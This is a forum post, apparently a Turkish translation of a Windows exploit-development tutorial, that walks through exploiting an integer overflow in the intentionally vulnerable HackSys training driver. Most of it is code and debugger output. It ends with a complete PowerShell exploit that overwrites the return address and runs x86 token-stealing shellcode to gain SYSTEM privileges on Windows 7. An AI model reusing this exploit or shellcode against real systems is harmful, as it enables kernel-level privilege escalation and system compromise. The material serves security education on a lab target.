Windows Exploit Geliştirme Serisi #14 | Kernel Exploitleme -> Integer Overflow

Provido

Katılımcı Üye
21 Eki 2015
477
1
14. Bölüm:Kernel Exploitleme -> Tam Sayı Taşması


Merhaba ve Windows exploit geliştirme eğitim serisinin 14. bölümüne hoş geldiniz. Bugün @HackSysTeam’in aşırı güvenlik açıklı sürücüsü hakkında başka bir yazımız var. Bu sefer tam sayı taşmasını inceleyeceğiz. GS yığın taşması dışında (bunu sonra anlatacağım) ve tür karışıklığı (anlatması kolay ancak GitHub’da exploitledim). Bu kolayca exploitlenen güvenlik açıklarının sonuncusu olacak. Debuglama çevresi kurma ile ilgili daha fazla detay için 10. Kısıma göz atmayı unutmayın.


Kaynaklar:


+ HackSysExtremeVulnerableDriver (hacksysteam) - buradan


Zorlukları Keşfetme


Güvenlik açığı olan fonksiyonun bu kısmına bir göz atalım.



Kod:
NTSTATUS TriggerIntegerOverflow(IN P**** UserBuffer, IN SIZE_T Size) {
    ULONG Count = 0;
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG BufferTerminator = 0xBAD0B0B0;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};
    SIZE_T TerminatorSize = sizeof(BufferTerminator);
 
    PAGED_CODE();
 
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is not doing any arithmetic
        // on the user supplied value. Instead, the developer is subtracting the size of
        // ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
        // not occur and this check will not fail
        if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
 
            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#else
        DbgPrint("[+] Triggering Integer Overflow\n");
 
        // Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
        // 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
        // integer will wrap down and will finally cause this check to fail
        if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
 
            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#endif
 
        // Perform the copy operation
        while (Count < (Size / sizeof(ULONG))) {
            if (*(PULONG)UserBuffer != BufferTerminator) {
                KernelBuffer[Count] = *(PULONG)UserBuffer;
                UserBuffer = (PULONG)UserBuffer + 1;
                Count++;
            }
            else {
                break;
            }
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}



Sürücü işlevi, kullanıcı tarafından sağlanan arabelleğin uzunluğunu sürücü tarafından ayrılan arabellek ile karşılaştırır. Ancak açıklı sürümünde bu kontrol şöyle işliyor:



Kod:
BufferTerminator = 0xBAD0B0B0
InputBuffer.Size + BufferTerminator.Size > KernelAllocatedBuffer.Size



Bug çok açık, terminator boyutu 4 bayt bu yüzden DeviceControl’ü 0xfffffffc ve 0xfffffff arasında bir arabellek boyutu ile sağlarsak, sürücü tam sayıya 4 ekleyecektir bu da değeri döngüye sokacaktır ve kontrolü geçecektir. Buna benzer bir şeyi PowerShell konsolunda görselleştirebiliriz.



Kod:
PS C:\Users\b33f> 0xfffffffc+4
0
PS C:\Users\b33f> 0xffffffff+4
3



IOCTL değeri bu fonksiyon için 0x222027. IOCTL’i nasıl tanımladığımızı görmek için 10. Ve 11. Kısıma göz atmayı unutmayın. Hızlıca IDA’ya geçiş yapalım ve fonksiyona göz atalım. Aşağıdaki resimde, hatalı uzunluk kontrolü de dahil olmak üzere işlev başlangıcını görüyoruz.



xvu6Nb.png




Bu bloğu geçtikten sonra, kullanıcı arabelleğini kernel arabelleğine bitler üzerinden kopyalayan bir döngüye giriyoruz. Aşağıdaki turuncu bloğa dikkat edin, kopyalama süreci DWORD sonlandıran arabellek ile karşılaşana kadar devam eder.



xvu92s.png




Sürücüyü kısaca bazı beklenen değerler ile besleyelim böylece ilgili fonksiyonu çağırdımızdan emin oluruz.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
$Buffer = [Byte[]](0x41)*0x100 + [System.BitConverter]::GetBytes(0xbad0b0b0)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null


xvufAQ.png




Harika, beklediğimiz gibi. Şimdi, DeviceControl’e 0xffffffff boyutu verip kutuyu BSOD yapmaya çalışalım ve sürücü tarafından ayrılandan daha büyük bir arabellek gönderelim (örn: 0x900).



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
$Buffer = [Byte[]](0x41)*0x900 + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null


xvu7mc.png




Her şeyi yerle bir et!


Dönüş İşaretçisi Üzerine Yazma


Yukarıda gördüğümüz gibi, exception işleyicisini bozduk. Bu tamamen arzuladığımız şey değil, asıl istediğimiz şey TriggerIntegerOverflow fonksiyonu çıktığında işlemin kontrolünü ele geçirmek amacıyla tam bir yeniden yazmadır.

Bu görevi dikkatli okuyucularıma bırakıyorum. Gelecek nesiller için, exploit geliştirmesi yapmak için Powershell’de temelleri “icat ettiğim” gibi, aşağıdaki kodu arabellek modeli oluşturmak için kullanabilirsiniz.



Kod:
$Pattern_Create = ([system.Text.Encoding]::ASCII).GetBytes("Aa0Aa1Aa2Aa3Aa........")



Fonksiyon dönüş değerini 0x42424242 ile yeniden yazmak için, aşağıdaki arabellek yapısını kullanabiliriz.



Kod:
$Buffer = [Byte[]](0x41)*0x828 + [Byte[]](0x42)*0x4 + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff



Shell Kodu


Kernel yığın taşmasına benzer, BSOD’yi önlemek için Shell kodu bitişini nasıl onaracağımızı görmemiz gerek. İlk olarak sürücüye beklenen değeri sağladığımızda akışın nasıl işlediğini görmemiz gerek. TriggerIntegerOverflow dönüş talimatına kesme noktası koyacağız.



xvxPye.png



Kod:
kd> bp 9528c9b4
kd> g
****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******
[+] UserBuffer: 0x023CAAEC
[+] UserBuffer Size: 0x108
[+] KernelBuffer: 0xA46B72AC
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x49b4:
9528c9b4 c20800     ret     8     <-------[Stack]  a46b7ad4 9528c9da HackSysExtremeVulnerableDriver+0x49da
                                                   a46b7ad8 023cabf0 
                                                   a46b7adc 00000108 
                                                   a46b7ae0 a46b7afc 
                                                   a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
HackSysExtremeVulnerableDriver+0x49da:
9528c9da 5d         pop     ebp   <-------[Stack]  a46b7ae0 a46b7afc 
                                                   a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
                                                   a46b7ae8 85edde80
HackSysExtremeVulnerableDriver+0x49db:
9528c9db c20800     ret     8     <-------[Stack]  a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
                                                   a46b7ae8 85edde80 
                                                   a46b7aec 85eddef0 
                                                   a46b7af0 85396620



10. kısımda yaptığımız yığın taşmasına pratikte benziyor gibi görünüyor. Tam sayı taşmasını tetiklediğimizde yığında ne olduğunu kontrol edelim.



Kod:
****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******
[+] UserBuffer: 0x0234FAA4
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x96F4F2AC
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x49b4:
9528c9b4 c20800     ret     8     <-------[Stack]  96f4fad4 42424242 
                                                   96f4fad8 023502d0 
                                                   96f4fadc ffffffff 
                                                   96f4fae0 96f4fafc 
                                                   96f4fae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6



Eksik talimatları geri yüklemek için Shell kod bitişini aşağıdaki şekilde değiştirebiliriz.



Kod:
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8
)



Oyun Bitti

Bu işimizi görmelidir. Daha fazla bilgi için aşağıdaki tam exploite bakın.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);  
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAl********Type,
        UInt32 flProtect);
}
"@
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8
)
  
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
$Buffer = [Byte[]](0x41)*0x828 + $EIP + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff
echo "`n[>] Sending buffer.."
echo "[+] Buffer size: $($Buffer.Length)"
echo "[+] Fake buffer size: $("{0:X}" -f $Size)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null


xvxRRq.png





 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.